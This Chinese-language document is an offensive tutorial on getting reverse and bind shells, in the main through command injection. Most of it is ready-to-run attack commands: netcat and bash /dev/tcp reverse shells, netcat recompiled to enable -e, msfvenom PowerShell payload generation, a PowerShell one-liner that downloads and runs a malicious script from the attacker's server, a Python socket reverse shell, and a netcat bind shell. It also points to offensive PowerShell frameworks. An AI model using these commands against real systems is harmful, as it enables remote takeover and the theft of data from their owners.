Netcat
利用nc工具可以使命令注入攻击变得更加六匹
反向 reverse shell
反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接
Linux反弹shell
nc实现shell反弹
step1-攻击机开始监听本地端口
nc -lvp 4444
step2-目标机向攻击机的端口提供shell,实现权限转移
nc 192.168.43.175 4444 -e /bin/bash
step3-当在攻击端看到收到连接后就说明已经得到了目标机器的部分shell了,可以直接敲命令了
但是被攻击者需要使用Netcat命令, 而且普通 GNU Linux nc 并没有 -e 参数; 顾此种反向nc并不适用普通linux
使用Bash 来代替Nc实现反向连接
step1-攻击机开始监听本地端口
nc -lvp 4444
step2-目标机向攻击机的端口提供shell,实现权限转移
bash -i>& /dev/tcp/172.16.141.1/4444 0>&1
step3-当在攻击端看到收到连接后就会直接看到新的shell信息,不像nc连接到的时候啥也没有,,,,
重编译NC
Linux自带的或通过apt-get、yum安装的nc不带-e选项,可以通过重新编译的手段令其可以使用-e -c
参数
前提是linux有make工具。
wget https://jaist.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz && tar zxvf netcat-0.7.1.tar.gz && cd netcat-0.7.1 && ./configure --enable-DGAPING_SECURITY_HOLE && make && make install
Windows反弹shell
MSF生成Powershell代码
比较方便,不过缺点也很明显,需要输入的字符太多了
首先在终端搜索win的反弹paylaod,找到cmd/windows/reverse_powershell
msfvenom -l payloads | grep cmd/windows/reverse
使用msf攻击载荷生成器得到powershell的命令
msfvenom -p cmd/windows/reverse_powershell LHOST=x.x.x.x LPORT=xxx
利用命令注入漏洞获取反弹shell
利用nc
对于没有nc工具的机器可以通过下载nc可执行文件来完成攻击
利用powershell 来下载文件
下载地址:https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
下载脚本
除了直接输入命令之外,还有一种方式就是通过命令让目标服务器下载一个恶意的脚本,然后再运行它来达到目的。
首先需要开启攻击机的web服务,然后将恶意脚本放到www目录,再利用win的powershell命令来下载脚本。
IEX (New-Object Net.WebClient).DownloadString(‘http://攻击机web服务ip/恶意脚本文件的地址’);
亦或是通过其他ftp nc等等可以传输文件内容的手段。
除去自己写一个脚本来让服务器运行之外,也有一些已经写好的脚本工具可以使用
powercat
下载地址:https://github.com/besimorhino/powercat
由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。
Nishang
下载地址:https://github.com/samratashok/nishang
Nishang是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell
python 脚本
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.16.141.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
对于www用户,在很多情况下是没有写入权限的,但是我们可以去寻找那些可以写的文件夹,比如/tmp
,然后再将文件上传到这个文件中。
上传文件
运行python脚本
反弹成功
正向bind shell
正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。
nc实现
step1-目标机器开启本地端口提供shell
nc -vlp 4444 -e /bin/bash
step2-攻击机开始监听目标端口(目标机ip)
nc 192.168.43.15 4444